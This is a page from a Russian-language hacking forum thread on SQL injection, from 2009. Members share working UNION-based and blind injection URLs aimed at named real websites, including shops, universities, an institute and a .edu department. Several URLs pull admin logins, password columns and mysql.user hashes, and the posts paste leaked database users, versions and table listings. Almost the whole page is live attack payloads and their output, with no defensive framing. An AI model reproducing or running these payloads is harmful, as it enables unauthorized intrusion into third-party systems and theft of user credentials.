SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 546 of 798
  1. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    68
    Likes Received:
    44
    Reputations:
    6
    Магазин самурайского оружия 5.0.45
    Code:
    http://www.kitana.ru/razdel.php?id=-1%20union%20select%201,login,3,psw%20FROM%20personal
    Киевский межународный институт социологии . 5.1.38-log.
    Code:
    http://www.kiis.com.ua/index.php?id=6&sp=1%20union%20select%201,2,3,4,COLUMN_NAME,6,7,8,9%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=0x61646D696E%20--
    Code:
    CHARACTER_SETS.  . COLLATIONS.  . COLLATION_CHARACTER_SET_APPLICABILITY.  . COLUMNS.  . COLUMN_PRIVILEGES.  . ENGINES.  . EVENTS.  . FILES.  . GLOBAL_STATUS.  . GLOBAL_VARIABLES.  . KEY_COLUMN_USAGE.  . PARTITIONS.  . PLUGINS.  . PROCESSLIST.  . PROFILING.  . REFERENTIAL_CONSTRAINTS.  . ROUTINES.  . SCHEMATA.  . SCHEMA_PRIVILEGES.  . SESSION_STATUS.  . SESSION_VARIABLES.  . STATISTICS.  . TABLES.  . TABLE_CONSTRAINTS.  . TABLE_PRIVILEGES.  . TRIGGERS.  . USER_PRIVILEGES.  . VIEWS.  . _news_.  . admin.  . adminlog.  . admins.  . array_8_1.  . array_8_2.  . array_8_3.  . art.  . config.  . content_l2.  . content_main.  . counter.  . global_tpl.  . group_admin.  . html_pages.  . html_tpl.  . index_txt.  . jos_banner.  . jos_bannerclient.  . jos_bannertrack.  . jos_categories.  . jos_components.  . jos_contact_details.  . jos_content.  . jos_content_frontpage.  . jos_content_rating.  . jos_core_acl_aro.  . jos_core_acl_aro_groups.  . jos_core_acl_aro_map.  . jos_core_acl_aro_sections.  . jos_core_acl_groups_aro_map.  . jos_core_log_items.  . jos_core_log_searches.  . jos_groups.  . jos_jf_content.  . jos_jf_tableinfo.  . jos_languages.  . jos_menu.  . jos_menu_types.  . jos_messages.  . jos_messages_cfg.  . jos_migration_backlinks.  . jos_modules.  . jos_modules_menu.  . jos_newsfeeds.  . jos_plugins.  . jos_poll_data.  . jos_poll_date.  . jos_poll_menu.  . jos_polls.  . jos_sections.  . jos_session.  . jos_stats_agents.  . jos_templates_menu.  . jos_users.  . jos_weblinks.  . jos_xmap.  . jos_xmap_ext.  . jos_xmap_sitemap.  . local_tpl.  . news.  . news_eng.  . news_rus.  . pages.  . public.  . public_eng.  . public_rus.  . section_site.  . statindex.
     
    #10901 TELO, 18 Oct 2009
    Last edited: 18 Oct 2009
    2 people like this.
  2. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Code:
    http://www.maptrade.org/events/displayevent.php?id=-94+union+all+select+1,2,3,4,5,6,@@version,8,9,10,11,12--
    Таблицы:
    Code:
    http://www.maptrade.org/events/displayevent.php?id=-94+union+all+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12+from+information_schema.tables+where+table_schema=database()--
    Колонки:
    Code:
     http://www.maptrade.org/events/displayevent.php?id=-94+union+all+select+1,2,3,4,5,6,group_concat(column_name),8,9,10,11,12+from+information_schema.columns+where+table_schema=database()--
    Юзеры:
    Code:
    http://www.maptrade.org/events/displayevent.php?id=-94+union+all+select+1,2,3,4,5,6,group_concat(AdminUser_ID,0x3a,username,0x3a,password),8,9,10,11,12+from%20admin--
     
    #10902 [underwater], 18 Oct 2009
    4 people like this.
  3. cupper

    cupper Elder - Старейшина

    Joined:
    6 Jun 2007
    Messages:
    369
    Likes Received:
    92
    Reputations:
    5
    5.0.45-logscorcher0@localhost

    PS. Таблиц около 750.
     
    #10903 cupper, 18 Oct 2009
    1 person likes this.
  4. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Code:
    http://www.[COLOR=Olive]town.donetsk.ua[/COLOR]/catalog/?s=-198+union+select+1,concat_ws(char(58,58),user(),database(),version()),3--
    u_town9a@localhost::town9a::5.0.44-log
    тиц 40 пр 3
    Таблиц и колонок очень много, есть бд форума phpbb, который на сайте сейчас не работает.
     
    #10904 min7, 18 Oct 2009
    1 person likes this.
  5. hackmon

    hackmon Member

    Joined:
    16 Sep 2009
    Messages:
    58
    Likes Received:
    40
    Reputations:
    2
    продолжаю http://www.specialtycareinc.com/doctors/department.php?id=-2+union+select+1,2,3

    5.0.85-community
     
    #10905 hackmon, 19 Oct 2009
    1 person likes this.
  6. s0l_ir0n

    s0l_ir0n Active Member

    Joined:
    14 Mar 2009
    Messages:
    399
    Likes Received:
    144
    Reputations:
    18
    Логин:
    http://www.sos-kazakhstan.kz/index.php?n=50+UNION+SELECT+1,2,3,4,5,6,login,8,9+FROM+_users+LIMIT+0,1+--
    Пароль:
    http://www.sos-kazakhstan.kz/index.php?n=50+UNION+SELECT+1,2,3,4,5,6,pwd,8,9+FROM+_users+LIMIT+0,1+--
     
    #10906 s0l_ir0n, 19 Oct 2009
    Last edited: 19 Oct 2009
    5 people like this.
  7. s0l_ir0n

    s0l_ir0n Active Member

    Joined:
    14 Mar 2009
    Messages:
    399
    Likes Received:
    144
    Reputations:
    18
    http://www2.parquebiologico.pt/doc.php?id=-1+UNION+SELECT+1,2,concat(username,char(58),password,char(58),email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+FROM+tbl_users+LIMIT+0,1+--
     
    #10907 s0l_ir0n, 19 Oct 2009
    2 people like this.
  8. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    User: [email protected]
    Database: netzmuetze_de_2
    Version: 5.0.32-Debian_7etch1~bpo.1-log
     
    #10908 Ctacok, 19 Oct 2009
    2 people like this.
  9. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Code:
    http://buddha.ru/news_one.php?id=-82+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9--
    user - [[email protected]]
    database - [welcomeb_drup]
    version - [4.0.27-log]

    -----------

    Code:
    http://quality.ulstu.ru/index_base.php?adr=news/news_one.php&id=-34+union+select+1,2,3,concat_ws(0x3a,user(),database(),version())--
    user - [[email protected]]
    database - [quality_ulstu_ru]
    version - [4.1.25-log]

    -----------

    Code:
    http://milam.com.ua/news/news_one.php?id=-9+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8--
    user - [h01008_milam@localhost]
    database - [h01008_milam]
    version - [5.0.81-community]

    Таблицы

    Code:
    http://milam.com.ua/news/news_one.php?id=-9+union+select+1,TABLE_NAME,3,4,5,6,7,8+from+INFORMATION_SCHEMA.TABLES+limit+20,1--


    -----------
    Code:
    http://www.softplasma-server.info/ar/news_one.php?id=-509+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6--
    user - [softpl89_yasser@localhost]
    database - [softpl89_gcapital]
    version - [5.0.81-community]
     
    #10909 SeNaP, 19 Oct 2009
    3 people like this.
  10. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    BR подборка, сайты одинаковые по дизайну, PR 3:
    Code:
    http://www.[COLOR=Green]guiabebedouro.com.br[/COLOR]/detalhe_empresa.php?id_empresa=-736+union+select+1,2,3,4,concat_ws(char(58,58),user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--
    @localhost::guiabebe_guiabeb::5.0.81-community

    Code:
    http://www.[COLOR=Green]portalguiaribeirao.com.br[/COLOR]/detalhe_empresa.php?id_empresa=-147+union+select+1,2,3,4,concat_ws(char(58,58),user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--
    @localhost::portal_guiaribeirao::5.0.81-community
     
    #10910 min7, 19 Oct 2009
    3 people like this.
  11. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://pomservicealimentaire.ca/lang/fr/product.php?productID=-127+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+information_schema.tables+--+&regionID=QC

    http://www.gammereunir.fr/product.php?productid=-38+union+select+1,2,3+from+information_schema.tables+--+

    http://generation-artisans.fr/view-article.php?idarticle=-2+union+select+1,2,3,4,5+from+ga_clients+/*+

    http://nhaantoan.com/index.php?page=tintuc&code=tkm&id=-201+union+select+unhex(hex(concat_ws(0x3a3a,id_danhmuc,username,password,level))),2,3,4,5,6+from+gws_admin+--+
     
    #10911 DezMond™, 19 Oct 2009
    2 people like this.
  12. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    [email protected] : 5.0.18-nt
    http://partydigest.com/news_detail.php?nid=-49+union+select+1,2,3,concat_ws(0x203a20,version(),user()),5,6,7,8,9,10,11,12

    4.1.14-log : bookmarks@localhost
    http://www.winthernet.dk/bookmarks/view_group.php?id=-55+union+select+1,2,unhex(hex(concat_ws(0x203a20,version(),user(),host,user,password,file_priv))),4,5,6,7,8+from+mysql.user--
     
    #10912 nikp, 19 Oct 2009
    1 person likes this.
  13. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    [​IMG]
    Code:
    [email protected]:5.0.67-community-nt
     
    #10913 ILYAtirtir, 20 Oct 2009
    5 people like this.
  14. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    User: rpgboard@localhost
    Database: rpgboard
    Version: 5.0.26-log
     
    #10914 Ctacok, 20 Oct 2009
    3 people like this.
  15. s0l_ir0n

    s0l_ir0n Active Member

    Joined:
    14 Mar 2009
    Messages:
    399
    Likes Received:
    144
    Reputations:
    18
    Мед продают...
    Формы входа не нашел
    Журналы какие-то:
    Ролики:
    User:mytytv1@localhost
    Database:mytytv1
    Version:5.0.24

    Медиа:
    User:[email protected]
    Database:news
    Version:5.0.22-log

    Сайт студентов:
     
    #10915 s0l_ir0n, 20 Oct 2009
    Last edited: 20 Oct 2009
    4 people like this.
  16. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    pmtrans.com.pl PR-4 blind

    Code:
    http://pmtrans.com.pl/aktualnosci.php?id=22+and+1=IF(ASCII(SUBSTRING((SELECT+version()),1,1))=52,1,0)
    user: itss@localhost
    version: 4.1.5-gamma
    database: wwwpmtnew
     
    #10916 nemaniak, 20 Oct 2009
    3 people like this.
  17. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    Auroratheatre.org pr5
    Aurora Theatre Company.
    Code:
    [COLOR=SlateGray]http://www.auroratheatre.org/show.php?prod_id=50+and+substring(version(),1,1)=4/*[/COLOR]
    version: 4.1.22-max
    compile os: pc-linux-gnu
    user: [email protected]
    database: auroradb
     
    #10917 Dyxxx, 20 Oct 2009
    5 people like this.
  18. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Какойто шоп
    Code:
    http://www.abaka.ru/main/shop?id=-756+union+select+concat_ws(0x3a,user(),version(),database())--&em=1
    user - [abaka_ru@localhost]
    version - [5.0.18]
    database - [abaka_ru]
     
    #10918 SeNaP, 20 Oct 2009
    1 person likes this.
  19. s0l_ir0n

    s0l_ir0n Active Member

    Joined:
    14 Mar 2009
    Messages:
    399
    Likes Received:
    144
    Reputations:
    18
    Тороговый центр(не магаз):
    Буржуйская газета:
    Японский универ:
    Польский институт или церковь =)):
    Открытки:
    Фигню для труб делают:
    Фотогаллерея:
    Про какой-то город:
    Про Въетнам:
    Ассоциация изучения технологий:
     
    #10919 s0l_ir0n, 20 Oct 2009
    Last edited: 20 Oct 2009
  20. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    geog.utah.edu - .edu and PR=5

    http://www.geog.utah.edu/faculty/index.html?id=1/**/and/**/1=2%20/**/union/**/all/**/select/**/1,2,3,4,version(),database(),7,8,9,0,1,2,3,user(),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8/*
    version - 5.0.22-log
    database - geog
    user - [email protected]



    table - users (username, password)
    http://www.geog.utah.edu/faculty/index.html?id=1/**/and/**/1=2%20/**/union/**/all/**/select/**/1,2,3,4,username,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8/**/from/**/users/*
     
    #10920 [x60]unu, 20 Oct 2009
    10 people like this.
(You must log in or sign up to post here.)
Page 546 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.